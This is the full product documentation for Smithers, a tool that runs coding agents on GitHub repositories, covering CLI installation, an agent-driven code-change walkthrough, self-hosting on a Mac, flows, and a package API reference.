# Smithers documentation (full)

# Install Smithers
https://smithers.sh/docs/installation/

Smithers maintains your codebase. It turns issues into tested changes for you to review and, when enabled, keeps the project wiki current. Flows beside your code define how.

## Install the CLI

The 1.0 release candidate is available from npm. Use Node.js 22.19.0 or later.
Install Jujutsu (`jj`) and `jq`; on macOS with Homebrew:

```bash
brew install jj jq
npm install -g smthrs@next
smthrs --version
```

Follow [CLI installation](https://github.com/smithersai/smithers/blob/main/packages/smithers/docs/installation.md#install-the-cli)
for Node downloads, other platforms and model sign-in. Then
[change your code with a flow](https://github.com/smithersai/smithers/blob/main/packages/smithers/docs/guides/change-code.md),
review its diff, run your tests, and commit and push it yourself.

## Mac host (planned)

**Planned.** The Homebrew host package is not released. The host installation, startup and setup below apply once it ships. Prepare:

- An Apple Silicon Mac running macOS 15 or later, Homebrew, and at least 44 GiB free on the state volume.
- A GitHub repository with squash merging enabled.
- A coding-model provider key or ChatGPT sign-in, and an AI Gateway key for Decisions.

Once the package ships, run on your Mac:

```bash
brew install smithersai/tap/smithers
```

## Start the install

The per-user launchd agent needs no administrator authorization and will print a setup URL for the Mac and each configured public address.

| Access | Run on the Mac | Open the browser on | Example setup URL |
| --- | --- | --- | --- |
| Mac | `smthrs host start` | The Mac | `http://localhost:4000/setup?token=...` |
| LAN | `smthrs host start --bind 0.0.0.0 --origin http://studio-mini.local:4000` | The Mac or a LAN laptop | `http://studio-mini.local:4000/setup?token=...` |

Replace `studio-mini.local` with your Mac's LAN hostname. The options are `--bind <addr>` and `--origin <url>`.

## Complete setup

Open the printed setup link. The setup card guides you in this order:

1. **Address:** choose **This Mac** or a network address your teammates will use. Address comes first because the GitHub App's sign-in callback is registered to it.
2. **GitHub App:** create the App through GitHub's app-manifest flow.
3. **Owner sign-in:** sign in with GitHub through the new App to claim the install. Claiming invalidates the setup token.
4. **Repository:** choose the repository and install the App on it. Setup checks that GitHub allows squash merging; if it does not, enable squash merging on GitHub and retry.
5. **Model access:** connect the three roles: **fast** for the app agent and summaries (Cerebras by default), **coding** through a provider key or ChatGPT sign-in, and **Decisions** through an AI Gateway key. Without a fast-model key, the app agent uses the coding model.

The rest of the docs are in the app at `/docs`.

---

# Change your code with a flow
https://github.com/smithersai/smithers/blob/main/packages/smithers/docs/guides/change-code.md

Run a coding agent on your subscription, inspect its changes, then commit and push them yourself. Smithers does not review or land this change. You review the diff and tests and push with your own tools. A [person-only local landing route](https://github.com/smithersai/smithers/issues/4261) is planned.

## Install

Use Node 22.19.0 or later and install jj as described in [Installation](https://github.com/smithersai/smithers/blob/main/packages/smithers/docs/installation.md).

```bash
npm install -g smthrs@next
smthrs --version
```

The tested prerelease printed `1.0.0-rc.15`.

## Create a project

```bash
mkdir slug
cd slug
printf '{"name":"slug","type":"module","scripts":{"test":"node --test"}}\n' > package.json
printf 'export const name = "slug"\n' > index.js
jj git init .
jj config set --repo user.name 'Docs Test User'
jj config set --repo user.email docs@example.invalid
jj describe -m 'Initial tiny project'
jj new
```

Use your own name and email. For an existing project, start in its directory instead. If you use Git, replace the jj commands above with:

```bash
git init -b main
git config user.name 'Docs Test User'
git config user.email docs@example.invalid
git add .
git commit -m 'Initial tiny project'
```

Smithers uses jj to show changes, including in Git projects. In a Git project, also run `jj git init --colocate .` before continuing.

## Choose your subscription

```bash
smthrs generate flow coding
```

Open `.smithers/flows/coding/flow.ts`. Set both `seat` and `model` to `"openai:gpt-6.1-sol"` for Codex, or `"opus"` for Claude. Keep credentials out of the file.

For an existing Codex login:

```bash
export SMITHERS_OPENAI_AUTH=chatgpt
unset ANTHROPIC_API_KEY OPENAI_API_KEY AI_GATEWAY_API_KEY
```

If you have not connected a subscription, follow [Installation](https://github.com/smithersai/smithers/blob/main/packages/smithers/docs/installation.md#requirements) first. The Codex path below was tested on a Pro subscription. The Claude alternative was not tested in this walkthrough.

## Ask for the change

```bash
smthrs flow start coding --data '{"args":"Add an exported slugify(text) function to index.js with tests in index.test.js using node:test and node:assert/strict. Lowercase text, replace spaces with hyphens, remove punctuation, trim hyphens. Actually write code and tests, run node --test. Do not commit, approve, merge, land or move main."}'
```

Trimmed output from the subscription run:

```text
_tag: Accepted
receiptId: "approve:plan-2"
runId: run-2
```

Use the run id printed by your command:

```bash
smthrs runs show run-2
```

Trimmed output:

```text
runId: run-2
flowId: coding
status: completed
```

Continue only after `status: completed`. If it failed or parked, inspect the diagnosis in `runs show` and follow [Diagnose a run](https://github.com/smithersai/smithers/blob/main/packages/smithers/docs/guides/diagnose-a-run.md).

## If the run stops

If the process running this generated flow dies during coding, `smthrs runs show <id>` still shows the run.
Run `smthrs runs resume <id>` to continue the same run. See [Diagnose a run](https://github.com/smithersai/smithers/blob/main/packages/smithers/docs/guides/diagnose-a-run.md).

## Review and test

```bash
smthrs change diff
node --test
```

The recorded diff included `Modified regular file index.js` and `Added regular file index.test.js`. The test output ended with:

```text
ℹ tests 6
ℹ pass 6
ℹ fail 0
```

Read the whole diff, including generated flow files. Check that the tests cover the behavior you requested. Your agent may produce different code and a different test count.

## Commit and push yourself

Configure `origin` for your repository if it is not already set. With jj 0.46 or later (`jj --version`):

```bash
jj git remote add origin /path/to/your/origin.git
jj describe -m 'Add slugify'
jj bookmark set main -r @
jj new
jj git push --remote origin --bookmark main
```

With Git, use these commands instead:

```bash
git remote add origin /path/to/your/origin.git
git add .
git commit -m 'Add slugify'
git push -u origin main
```

Replace the example remote path with your own remote. Skip `remote add` when `origin` already exists. Follow your repository's branch and pull request policy when it requires review before main.

---

# Welcome to Smithers
https://smithers.sh/docs/

Smithers is a web app for working on a GitHub repository with people and coding agents. On smithers.sh, you open a repository at the path it has on GitHub and read it. On your own Mac, the `smthrs` CLI runs a coding agent on your project on your own subscription.

![The smithers.sh home page: Sign in at the top right (1) and the command that adds a coding flow to a repository (2)](https://smithers.sh/images/docs/welcome-home.light.webp)

## How Smithers relates to GitHub

GitHub keeps your repository's `main`, issues, pull requests, reviews and checks. Smithers reads them and adds its own layer. A person merges every change. Agents never approve or merge.

Every action in Smithers is a flow: a typed, durable program. A button, a slash command and an agent call all run the same flow. A repository can change its flows by committing files under `.smithers/flows/`. See [What a flow is](https://smithers.sh/docs/flows/).

## Two ways to use Smithers

| | smithers.sh | Your own Mac |
| --- | --- | --- |
| Where it runs | Hosted at smithers.sh | On your Mac, with the `smthrs` CLI |
| Sign in | With GitHub | Not needed for the CLI |
| Start here | [Quickstart](https://smithers.sh/docs/quickstart/) | [Run agents on your Mac](https://smithers.sh/docs/local-quickstart/) |

## Next steps

- [Quickstart](https://smithers.sh/docs/quickstart/): open a repository on smithers.sh and sign in with GitHub.
- [Run agents on your Mac](https://smithers.sh/docs/local-quickstart/): have a coding agent change a project on your own Codex subscription.
- [What a flow is](https://smithers.sh/docs/flows/): how Smithers' actions are built, and how to change them.

---

# Quickstart
https://smithers.sh/docs/quickstart/

This page takes you from the smithers.sh home page to a repository's files and issues, then to signing in with GitHub. It takes about five minutes.

**Before you start:** you need a GitHub account to sign in. To open a private repository, you also need read access to it on GitHub.

## 1. Open smithers.sh

Go to [smithers.sh](https://smithers.sh). **Sign in** (1) is at the top right.

![The smithers.sh home page: Sign in at the top right (1) and the command that adds a coding flow to a repository (2)](https://smithers.sh/images/docs/welcome-home.light.webp)

## 2. Open a repository

A repository on smithers.sh has the path it has on GitHub: replace `github.com` with `smithers.sh` in the repository's address. For example, `https://smithers.sh/smithersai/vibelang` opens the `smithersai/vibelang` repository.

The repository opens on its files, on the branch shown at the top left (1).

![The smithersai/vibelang repository on smithers.sh, open on its file tree: the branch (1) and a folder (2), with the latest commit's author hidden](https://smithers.sh/images/docs/quickstart-repo-home.light.webp)

If smithers.sh doesn't have the repository yet, the page says so and asks you to sign in with GitHub.

## 3. Read a file

Choose a folder (2) to open it, or a file to read it. The file's path (1) is at the top. Choose the repository's name in the path to go back to its files.

![package.json in smithersai/vibelang on smithers.sh, with the file's path at the top (1)](https://smithers.sh/images/docs/quickstart-file.light.webp)

## 4. Read issues and pull requests

Choose **Issues** (1) to list the repository's open and closed issues, or **Pull requests** (2) to list its pull requests. Choose an issue to read it.

![The Issues tab of smithersai/vibelang on smithers.sh: Issues (1) and Pull requests (2), with each issue's author hidden](https://smithers.sh/images/docs/quickstart-issues.light.webp)

## 5. Sign in with GitHub

Choose **Sign in**. GitHub asks you to sign in, then to authorize Smithers to read your account and email address and to access your repositories.

![GitHub's sign-in page, opened from Sign in on smithers.sh](https://smithers.sh/images/docs/quickstart-sign-in.light.webp)

## Result

You opened a repository on smithers.sh, read a file, listed its issues, and started signing in with GitHub.

## Next steps

- [Run agents on your Mac](https://smithers.sh/docs/local-quickstart/): have a coding agent change a project on your own Codex subscription.
- [What a flow is](https://smithers.sh/docs/flows/): how every action in Smithers is built.

---

# Run agents on your Mac
https://smithers.sh/docs/local-quickstart/

This page has a coding agent change a small project on your Mac, on your own Codex subscription. You check the change and push it with your own tools. Smithers doesn't land it.

**Before you start:**

- Node.js at the version [Install Smithers](https://smithers.sh/docs/installation/) names. Check yours with `node --version`.
- Jujutsu (`jj`) and `jq`. On macOS with Homebrew: `brew install jj jq`.
- A Codex login on this Mac.

## 1. Install smthrs

```sh
npm install -g smthrs@next
smthrs --version
smthrs doctor
```

`smthrs --version` prints `1.0.0-rc.15` or later. `smthrs doctor` checks project discovery, providers and tools.

## 2. Create a project

Tell Jujutsu who you are, with your own name and email:

```sh
jj config set --user user.name 'Your Name'
jj config set --user user.email you@example.com
```

Then create a small project:

```sh
mkdir slug
cd slug
printf '{"name":"slug","type":"module","scripts":{"test":"node --test"}}\n' > package.json
printf 'export const name = "slug"\n' > index.js
jj git init .
jj describe -m 'Initial tiny project'
jj new
```

## 3. Add the coding flow

```sh
smthrs generate flow coding
```

Open `.smithers/flows/coding/flow.ts` and set both `seat` and `model` to `"openai:gpt-6.1-sol"`. Keep credentials out of the file.

Use your Codex login instead of an API key:

```sh
export SMITHERS_OPENAI_AUTH=chatgpt
unset ANTHROPIC_API_KEY OPENAI_API_KEY AI_GATEWAY_API_KEY
```

## 4. Ask for a change

```sh
smthrs flow start coding --data '{"args":"Add an exported slugify(text) function to index.js with tests in index.test.js using node:test and node:assert/strict. Lowercase text, replace spaces with hyphens, remove punctuation, trim hyphens. Actually write code and tests, run node --test. Do not commit, approve, merge, land or move main."}'
```

The command waits while the coding agent works, about a minute for this change, then prints the run's ID:

```text
_tag: Accepted
receiptId: "approve:plan-1"
runId: run-1
```

Follow the run with the ID your command printed:

```sh
smthrs runs show run-1
```

Continue when it shows `status: completed`. If the run failed or stopped, `smthrs runs show run-1` says why. If the process running the flow dies, `smthrs runs resume run-1` continues the same run.

## 5. Check the change

```sh
smthrs change diff
node --test
```

The diff includes the files `smthrs generate flow coding` added (`.gitignore` and `.smithers/flows/coding/`), the new `index.test.js` and the change to `index.js`. Read all of it. Your agent may write different code and a different number of tests.

## 6. Commit and push yourself

Replace the path with your repository's remote. Skip `jj git remote add` when `origin` already exists. These commands are for Jujutsu 0.46 or later (`jj --version`).

```sh
jj git remote add origin /path/to/your/origin.git
jj describe -m 'Add slugify'
jj bookmark set main -r @
jj new
jj git push --remote origin --bookmark main
```

Follow your repository's branch and pull request policy when it requires review before `main`.

## Result

A coding agent changed your project on your Codex subscription, and you checked the change and pushed it yourself.

## Next steps

- [What a flow is](https://smithers.sh/docs/flows/): change how the coding flow works.
- [Quickstart](https://smithers.sh/docs/quickstart/): open a repository on smithers.sh.

---

# Self-host Smithers
https://smithers.sh/docs/self-host/

This page sets up Smithers as one install on your own Mac for your team: install the host, finish setup, merge your first TODO and invite teammates.

**Planned.** The Homebrew host package is not released yet; the steps below apply once it ships. To use Smithers on your Mac today, see [Run agents on your Mac](https://smithers.sh/docs/local-quickstart/).

## Install and setup

Use the [install page](https://smithers.sh/docs/installation/) on an Apple Silicon Mac with macOS 15 or later, Homebrew, and at least 44 GiB free on the state volume. Prepare a GitHub repository whose default branch is `main`, with squash merging enabled, a coding-model provider key or ChatGPT sign-in, and an AI Gateway key.

Install and start the host on the Mac:

```sh
brew install smithersai/tap/smithers
smthrs host start
smthrs host status
```

For LAN access, replace the hostname with your Mac’s LAN hostname:

```sh
smthrs host start --bind 0.0.0.0 --origin http://studio-mini.local:4000
```

Open the one-time setup URL printed on the Mac. Use the localhost URL on that Mac or the configured network URL from a LAN laptop. Keep the token private. Setup resumes completed steps after a restart; use the newly printed URL if the old token has expired.

Complete the setup card in order:

1. **Address:** choose This Mac or the address your team will open.
2. **GitHub App:** create the App through GitHub. Register the chosen address's callback before signing in.
3. **Owner sign-in:** sign in through the new App. This claims the install and invalidates the setup token.
4. **Repository:** choose the repository and install the App on it. Enable squash merging and use `main` as the default branch on GitHub, then Retry if either check fails.
5. **Model access:** set coding access, the optional fast-model key and the AI Gateway key for Decisions. Without a fast-model key, the app agent uses the coding model.
6. **Source ready:** ask questions once the repository has arrived.
7. **Machine ready:** wait for this separately before starting coding work.

## Open the command list

Open Chat with Command-K on macOS or Control-K on Windows and Linux. Type `/help` and press Enter to list commands. `/docs` opens these pages.

## First TODO to Merged

Ask a question about the repository. Open the answer's file cards to check the sources.

Open `/todo.new`, write one small change and choose **Append**. Watch it move through Queued, Starting, Working and In review. Answer a Needs you question on the branch; use Steer for an additional instruction.

When an outside push needs a decision, an owner or maintainer can choose **Discard** on the TODO card. The decision targets the displayed commit; that commit stays in history.

Open the TODO's evidence and pull request. Read the diff, verification results, GitHub checks and review. When the reviewed revision is ready, choose **Merge** in the app and confirm it. People merge; agents cannot approve or merge. The TODO becomes Merged after GitHub reports the squash merge. A learning run follows.

## Follow the pull request

When a TODO reaches In review, it has one GitHub pull request. Open **on GitHub** from its card to read the pull request, reviews, and checks.

Later stack items have draft pull requests.

## Read the stack

Open `main`'s conversation to see the stack. `main` stays at the top; TODOs follow in merge order.

```text
main
  |
  T1 <- merge first
  |
  T2 <- merges after T1
  |
  T3 <- merges after T2
```

Open a TODO to read its prompt and evidence. Background runs appear below the stack.

## Members and secrets

Open `/members` and add teammates by GitHub username. They need write access or higher on the repository. Maintainers can manage people and merge; Members can work on branches. The owner cannot be removed or demoted. Teammates open the address set during setup and sign in with GitHub.

Open the Secrets card to set the values your checks need. Choose all branches or main only for each secret. Keep credentials out of prompts, flow source and committed files.

Every branch machine gets an all-branches secret as an environment variable. Set **Path** to also get it as a file, such as `~/.config/anthropic/key` in each home or a path under `/run/smithers/files/`. To give coding tools a model login without signing in on each machine, add the provider's API key, such as `ANTHROPIC_API_KEY` or `OPENAI_API_KEY`. The card binds a known key to its provider's host, so the machine holds only a placeholder and the install sends the real key to that host. A personal ChatGPT or Claude sign-in is never copied to a machine; it stays in your own terminal.

## Connect an editor

On a branch, use its SSH connection details. Replace the branch and install host below:

```sh
ssh -p 2222 <branch>@<install-host>
```

Add your public SSH key through the member controls. Edits share the branch's working copy with the app, terminals and coding agent. A branch terminal is already signed in to Smithers as you and includes the Smithers skill.

## Sign in from a laptop

Install the CLI on your laptop, then sign in to your install address:

```sh
smthrs login https://smithers.example.com
```

Complete browser sign-in. Your laptop agent uses a delegated credential attributed to you; it cannot approve, merge or move `main`.

## Put HTTPS in front

Plain HTTP works on a LAN. An HTTP origin sends the session cookie unencrypted. Use HTTPS for remote access and browser notifications.

In Settings, the owner sets the bind address and public origins. Loopback is the default. Add the HTTPS origin and its exact GitHub App callback URL, `<origin>/api/auth/github/callback`, before signing in through that address.

For Tailscale serve on the install's Mac:

```sh
tailscale serve --bg --https=443 http://127.0.0.1:4000
tailscale serve --bg --tcp=2222 tcp://127.0.0.1:2222
```

Use the HTTPS address it prints as a public origin. The HTTP proxy passes the original host as `X-Forwarded-Host` over loopback; the install accepts that header only from loopback. The TCP listener carries SSH separately.

Or use Caddy on the same Mac, with your DNS name pointing to it:

```text
smithers.example.com {
    reverse_proxy 127.0.0.1:4000 {
        header_up Host {http.request.host}
        header_up X-Forwarded-Host {http.request.host}
    }
}
```

Set `https://smithers.example.com` as a public origin. A proxy on another host must pass the original `Host` header; forwarding headers from that host are not trusted. Allow access only from your team.

## Restart and recovery

The install runs as a per-user launchd agent. If Hypervisor.framework refuses a daemon, use the LaunchAgent under the installing user's login session. Enable macOS automatic login for that user if the install must return after a reboot without someone logging in. Confirm Machine ready after restarting.

Create a backup before changing the install:

```sh
smthrs host backup
```

Keep the printed backup directory. Upgrade with:

```sh
smthrs host upgrade
```

These commands currently refuse with `host_maintenance_unavailable` until the install's recovery providers are composed. A refusal is not a completed backup or upgrade.

Completed backups belong in `$STATE/backups/<version>-<UTC ts>/`; `$STATE` is `~/Library/Application Support/Smithers` on the install's Mac. Use a completed backup directory for restore, never a `.partial-` directory.

Before restoring a backup on another Mac, stop the original install first:

```sh
smthrs host stop
smthrs host restore /Users/will/Backups/smithers
```

Stop the destination install too before running restore. Replace `/Users/will/Backups/smithers` with the directory printed by a successful backup. Restore currently has the same maintenance refusal. Do not restart the original install while the restored install is running.

Two running installs would both act on the same repository. Keep backup directories private: they contain the install key and member data. Restore requires a stopped install, verified backup hashes and a compatible installed version. Interrupted work resumes or offers Retry after recovery.

## API and flows

The [HTTP API reference](https://smithers.sh/docs/reference/http-api/) documents the API used by the app and CLI. See [Flows reference](https://smithers.sh/docs/flows/#change-a-flow) to customize how TODOs run.

## Open the wiki in Obsidian

In Settings, set **Obsidian folder** to an existing folder on the install's Mac, using its absolute path (for example `/Users/will/Vault`). Open that folder as a vault in Obsidian. Wiki edits and folder edits sync both ways every minute; the folder must be owned by the install user and outside the install's state directory. Teammates use the wiki in the app.

---

# Flows reference
https://smithers.sh/docs/flows/

Every action in Smithers is a flow: a typed, durable program that a button, a slash command and an agent all run the same way. This page shows how to find a flow, change one and write your own.

## Find a command

Type `/` in Chat to see commands and groups. Type more letters to filter them. `/help` opens the Commands card. `/flows` lists repository flows; `/flow todo` opens the TODO flow's steps and versions.

A button, slash command and agent action run the same typed flow. A flow called without required inputs opens a form for the missing fields.

## Change a flow

The overridable flows are `todo`, `learning`, `review` and repository flows. Built-in defaults need no repository commit. System flows, including stack operations, merge, members, settings, secrets, setup and sync, cannot be overridden.

Use `/flow.edit todo` with your requested change, or ask the app agent to propose it. The change becomes an ordinary TODO. Review its evidence and merge it as you would any other change.

A file flow lives at `.smithers/flows/<name>/flow.ts`. Its default export uses the path's name as the first argument to `Flow.make` from `@smthrs/flow`:

```ts
import { Flow } from "@smthrs/flow"
import { Node } from "@smthrs/plan"
import { Schema } from "effect"

export default Flow.make("greet", {
  description: "Return a greeting",
  capabilities: [],
  effects: [],
  payload: Schema.Struct({ name: Schema.String }),
  success: Schema.String,
  body: Node.capture({}, ({ name }) => Node.succeed(`Hello, ${name}`))
})
```

Use `/flow.source todo` to open the source through its proposed TODO. The name, input, success and body belong to one flow declaration.

## Versions and pinning

| Version | Meaning |
| --- | --- |
| Proposed | An open TODO changes the flow. |
| Merged · syncing | The change is on `main`; the install is loading and checking it. |
| Active | The newest successfully loaded version. New attempts use it. |
| Merged · not active | Loading failed. Read the error and propose a fix; the previous Active version stays in use. |

An attempt pins the flow's source commit and digest when it enters Starting. The digest includes imported repository modules and the lockfile. Edits on its branch do not change the running version. Retry and Resume keep that pin. Retry with the current flow starts a new attempt using Active and retains the TODO's earlier evidence.

## Configuration

The install stores detected check commands, default wiki pages and model settings. Default flows work without `.smithers/` files. Repository configuration in `.smithers/*` on active `main` overrides install values field by field. Merge configuration changes before starting work that should use them.

## Learning proposals

After a merge, learning can propose an improvement with evidence from prior TODOs. Turn the proposal into a TODO, review and merge it. It applies after the new version becomes Active; learning cannot change the running factory directly.

## Run on a scratch branch

On a scratch branch, open the Flow card and choose **Plan** to inspect its working-copy version without running steps, or **Run** with a test input. The run is labeled draft version. It is separate from a TODO attempt. A draft run of `todo` stops before proposing onto the stack and writes nothing to GitHub.

See [Self-host Smithers](https://smithers.sh/docs/self-host/#first-todo-to-merged) for your first change.

---

# Library API
https://smithers.sh/docs/reference/api/

The Smithers library is a roster of `@smthrs/*` packages, each with one reference page here. Packages marked **workspace-private** are documented for contributors but are not installable from npm.

## Install

The other packages are on npm under the `next` tag, which carries the 1.0 release candidates. Install the whole durable flow engine:

```bash
npm install @smthrs/flows@next effect
```

Install any single package the same way, by name with `@next`.

## Reading these pages

Each page is stitched from the package's colocated `docs/api.md`: the source of truth lives beside the code, and the generated page republishes it. `internal/*` is never public, and neither are nested `*/index` subpaths. Every documented namespace is also importable as a subpath of its package (for example `@smthrs/cli/<Module>` beside `@smthrs/cli`).

## Packages

### Authoring and runtime

| Package | Role |
| --- | --- |
| [`@smthrs/flow`](/docs/reference/api/flow/) | The flow authoring model: flows, actions, durable waits, retry policy, and the runtime port they execute against |
| [`@smthrs/engine`](/docs/reference/api/engine/) | The runtime that executes `@smthrs/flow` flows, plus HTTP and RPC transport projections |
| [`@smthrs/engine-store`](/docs/reference/api/engine-store/) | Effect services for durable engine action persistence and replay boundaries |
| [`@smthrs/journal`](/docs/reference/api/journal/) | Effect services for the Smithers event journal: the immutable run history and the owner fence on its durable channel |
| [`@smthrs/plan`](/docs/reference/api/plan/) | The persisted flows plan: a keyed action graph, its append-only store, and its diff |
| [`@smthrs/core`](/docs/reference/api/core/) | Flow and Node builders: the pure plan-time data model of the Smithers harness |
| [`@smthrs/patterns`](/docs/reference/api/patterns/) | Higher-order flow patterns and decorators for flows |
| [`@smthrs/run-store`](/docs/reference/api/run-store/) | Effect services for flows run state, attempts, and ownership arbitration |
| [`@smthrs/step-cache`](/docs/reference/api/step-cache/) | Effect service for the flows content-addressed step result cache |
| [`@smthrs/database`](/docs/reference/api/database/) | A driver-neutral SQL contract with a bounded write-retry seam, plus the composed migration ladder |
| [`@smthrs/canonical`](/docs/reference/api/canonical/) | RFC 8785 canonical JSON as an Effect Schema |
| [`@smthrs/errors`](/docs/reference/api/errors/) | `SmithersError` and the error codes the integration adapters raise |
| [`@smthrs/crypto`](/docs/reference/api/crypto/) | Strict SHA-256 hashing with injected and synchronous Effect entry points |
| [`@smthrs/keys`](/docs/reference/api/keys/) | Canonical flow-key derivation and stored-key validation |
| [`@smthrs/time-travel`](/docs/reference/api/time-travel/) | Durable replay, fork, and rewind primitives for flows |

### Agents

| Package | Role |
| --- | --- |
| [`@smthrs/agent`](/docs/reference/api/agent/) | The production agent loop on the durable engine, plus the `AgentSession` and `AgentAction` adapters |
| [`@smthrs/harness`](/docs/reference/api/harness/) | The Smithers built-in agent loop: a cell-first controller whose model turns produce JavaScript cells |
| [`@smthrs/model`](/docs/reference/api/model/) | Schema-first Effect model protocols, routes, and streaming events for flows |
| [`@smthrs/memory`](/docs/reference/api/memory/) | Effect services for durable cross-run facts, history, notes, recall, and maintenance |
| [`@smthrs/plugin`](/docs/reference/api/plugin/) | Vite-style typed plugin kernel for flows: hooks, resolution, and config execution |
| [`@smthrs/registry`](/docs/reference/api/registry/) | Portable flow descriptor discovery and progressive-disclosure registry services |
| [`@smthrs/std`](/docs/reference/api/std/) | The flows standard tool library: filesystem, search, HTTP, web-search, shell, and language-server flows |
| [`@smthrs/chain`](/docs/reference/api/chain/) **workspace-private** | The Agent Chain spine: an append-only journal, keyed replayable calls, and the trampoline that runs model-authored flow scripts |
| [`@smthrs/evals`](/docs/reference/api/evals/) | Fixed-suite evaluation, baselines, regression reports, and score gates for flows |
| [`@smthrs/scorers`](/docs/reference/api/scorers/) | Flow-native scoring, durable observations, and asynchronous score runners for flows |

### Hosts and platforms

| Package | Role |
| --- | --- |
| [`@smthrs/kernel`](/docs/reference/api/kernel/) | Capability kernel: effect tiers, monotone capability sets, grant store, and permission-decorating layers over the Host services |
| [`@smthrs/capability`](/docs/reference/api/capability/) | Capability values and permission failures: the leaf vocabulary of the Smithers permission kernel |
| [`@smthrs/sandbox`](/docs/reference/api/sandbox/) | Provisioned machines, provider-neutral remote process execution, conformance, and sandbox liveness for flows |
| [`@smthrs/artifacts`](/docs/reference/api/artifacts/) | Effect service for the Smithers content-addressed artifact store, local and remote |
| [`@smthrs/jj`](/docs/reference/api/jj/) | Jujutsu version control as a portable Effect host service |
| [`@smthrs/platform-node`](/docs/reference/api/platform-node/) | Node.js Host bundle for flows: Effect's Node platform services composed into the closed Host surface |
| [`@smthrs/platform-bun`](/docs/reference/api/platform-bun/) | Bun Host bundle for flows: Effect's Bun platform services composed into the closed Host surface |
| [`@smthrs/platform-browser`](/docs/reference/api/platform-browser/) | Browser implementations of Effect platform services backed by ZenFS and just-bash |

### Control and wire

| Package | Role |
| --- | --- |
| [`@smthrs/control`](/docs/reference/api/control/) | Control services and RPC projections for flows |
| [`@smthrs/gateway`](/docs/reference/api/gateway/) | Effect workspace gateway contracts, projections, and supervision ports for flows |
| [`@smthrs/sync`](/docs/reference/api/sync/) | Workspace read-path sync protocol, server, and client for flows |
| [`@smthrs/mcp`](/docs/reference/api/mcp/) | Model Context Protocol client and flow adapter: projects a remote MCP server's tools as ordinary flow bindings |
| [`@smthrs/notifications`](/docs/reference/api/notifications/) | Durable notification queue, admission policy, and journal projection for flows |
| [`@smthrs/observability`](/docs/reference/api/observability/) | Observability for flows: default OTLP export wiring plus Effect-native logger, metric, and OpenTelemetry SDK layers |

### Distribution

| Package | Role |
| --- | --- |
| [`@smthrs/flows`](/docs/reference/api/flows/) | Barrel package re-exporting the whole `@smthrs` durable flow engine |
| [`@smthrs/migrate`](/docs/reference/api/migrate/) | Upgrades Smithers 0.x projects to Smithers 1.0 flows and writes an auditable migration report |
| [`@smthrs/cli`](/docs/reference/api/cli/) | Node command-line interface for Smithers control |
| [`@smthrs/testing`](/docs/reference/api/testing/) | Testing and conformance library for flows |

## Platform support

The [RC support matrix](/docs/reference/support-matrix/) defines the runtime and platform boundary. Node.js and Bun are durable runtimes, storing in local SQLite or, when `SMITHERS_POSTGRES_URL` or `DATABASE_URL` is set, PostgreSQL. Browser coverage establishes bundling only; supplying another runtime or SQL client does not establish durable browser support.

---

# @smthrs/flow
https://smithers.sh/docs/reference/api/flow/

{/* Generated from packages/smithers/flows/flow/docs/reference/flow.md. Edit the source, then run `pnpm exec smithers-build target //apps/site:referenceIngest --write`. */}

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/flow/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/flow/docs/reference/flow.md)

Install the package with its `effect` peer:

```bash
npm install @smthrs/flow@next effect
```

## Entry points

The `exports` map declares these subpaths:

| Import                          | Source                           | Platform |
| ------------------------------- | -------------------------------- | -------- |
| `@smthrs/flow`                  | `src/index.ts`                   | any      |
| `@smthrs/flow/Action`           | `src/Action/index.ts`            | any      |
| `@smthrs/flow/CacheEnvironment` | `src/Action/CacheEnvironment.ts` | any      |
| `@smthrs/flow/FileBoundary`     | `src/Action/FileBoundary.ts`     | any      |
| `@smthrs/flow/FileInput`        | `src/Action/FileInput.ts`        | any      |
| `@smthrs/flow/Flow`             | `src/Flow/index.ts`              | any      |
| `@smthrs/flow/FlowRuntime`      | `src/FlowRuntime/index.ts`       | any      |
| `@smthrs/flow/StepIdentity`     | `src/Action/StepIdentity.ts`     | any      |
| `@smthrs/flow/<Module>`         | `src/<Module>.ts`                | any      |

`<Module>` is one of the top-level modules, each listed explicitly in the `exports` map: `Deadline`, `DurableClock`, `DurableDeferred`, `DurableQueue`, `Fault`, `Graph`, `HumanTask`, `Interpreter`, `Poll`, `RetryPolicy`, `Sleep`, `Stall`, and `WaitFor`. No `./*` wildcard is declared. The `exports` map maps `./internal/*`, `./*/index`, `./Action/*`, `./Flow/*`, and `./FlowRuntime/*` to `null`, so those paths do not resolve.

## Namespaces

The package index re-exports eighteen namespaces:

| Namespace         | Summary                                                              |
| ----------------- | -------------------------------------------------------------------- |
| `Action`          | Durable action definitions and combinators.                          |
| `Deadline`        | The wall-clock bound one run settles by, shared across its rounds.   |
| `DurableClock`    | Durable clock and timer services.                                    |
| `DurableDeferred` | Durable deferred values.                                             |
| `DurableQueue`    | Durable queues.                                                      |
| `Fault`           | One typed fault class per failure, and the response ladder.          |
| `Flow`            | Durable flow definitions.                                            |
| `FlowRuntime`     | The execution contract flow authoring APIs are written against.      |
| `Graph`           | Plan-time graph building from flow declarations.                     |
| `HumanTask`       | Asking a person something: typed answers, re-asking, and a deadline. |
| `Interpreter`     | Execution of a flow body, and the layer that registers it.           |
| `Poll`            | The durable poller: attempts as rounds, waits as durable timers.     |
| `RetryPolicy`     | Retry policy models and constructors.                                |
| `Sleep`           | The system timer action and its implementation layer.                |
| `SpanFailure`     | Spans whose failures export only a tag and a code.                   |
| `Stall`           | The stall breaker round loops share.                                 |
| `StepIdentity`    | Stable step identity construction.                                   |
| `WaitFor`         | The system wait-point action and its implementation layer.           |

## Action

`Action` exports 45 symbols. Its models and schemas are listed in one table, and constructors, combinators, layers, context references, services, and errors get their own entries:

| Name                 | Kind            | Summary                                                                                                                                                                                                                                                                                             |
| -------------------- | --------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Tier`               | Schema and type | The durability and retry semantics of an action: `"sealed"`, `"compensable"`, or `"irreversible"`. It IS `@smthrs/plan`'s `Effects.Tier`.                                                                                                                                                           |
| `IdempotencyKey`     | Schema and type | Caller-declared sealed action identity: a string, or a record of JSON values.                                                                                                                                                                                                                       |
| `PlannedPayload`     | Type            | Recursively permits planned references wherever a declared action payload accepts a concrete value.                                                                                                                                                                                                 |
| `Requirement`        | Interface       | The requirement one declared action mints for itself, identified by its tag.                                                                                                                                                                                                                        |
